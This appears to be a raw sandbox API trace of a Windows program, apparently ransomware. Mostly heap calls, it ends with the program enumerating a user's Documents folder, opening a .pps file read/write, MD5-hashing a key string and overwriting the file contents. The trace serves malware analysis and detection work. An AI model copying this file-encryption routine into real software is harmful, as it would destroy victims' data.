HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.104] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.104] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.105] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.107] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.110] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.110] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.111] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\") returned="mbmFXME9ZArqIFJjiii\\" [0270.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0270.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.111] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0270.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0270.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0270.111] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0270.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0270.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0270.111] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0270.111] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0270.111] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0270.111] PathFindFileNameW (pszPath="") returned="" [0270.111] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.111] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4821efb0, ftCreationTime.dwHighDateTime=0x1d4d49b, ftLastAccessTime.dwLowDateTime=0x186cb060, ftLastAccessTime.dwHighDateTime=0x1d4cc3b, ftLastWriteTime.dwLowDateTime=0x186cb060, ftLastWriteTime.dwHighDateTime=0x1d4cc3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0270.112] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.112] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4821efb0, ftCreationTime.dwHighDateTime=0x1d4d49b, ftLastAccessTime.dwLowDateTime=0x186cb060, ftLastAccessTime.dwHighDateTime=0x1d4cc3b, ftLastWriteTime.dwLowDateTime=0x186cb060, ftLastWriteTime.dwHighDateTime=0x1d4cc3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.112] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eec69f0, ftCreationTime.dwHighDateTime=0x1d4ccf4, ftLastAccessTime.dwLowDateTime=0xecbc4220, ftLastAccessTime.dwHighDateTime=0x1d4d58e, ftLastWriteTime.dwLowDateTime=0xecbc4220, ftLastWriteTime.dwHighDateTime=0x1d4d58e, nFileSizeHigh=0x0, nFileSizeLow=0x137c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8D Vnyq.pps", cAlternateFileName="8DVNYQ~1.PPS")) returned 1 [0270.112] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.112] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0270.112] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.112] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\8D Vnyq.pps") returned=".pps" [0270.112] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\8D Vnyq.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\8d vnyq.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.114] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=4988) returned 1 [0270.114] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.116] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1356, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.116] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.118] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.118] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x137c, lpOverlapped=0x0) returned 1 [0270.119] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.119] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.119] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.119] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.120] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.120] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.120] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.120] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.120] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.120] GetLastError () returned 0x0 [0270.120] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.120] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.120] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1380) returned 0x311d708 [0270.120] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0270.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.120] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x1377, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x1377, lpOverlapped=0x0) returned 1 [0270.120] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.120] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x137c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.121] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 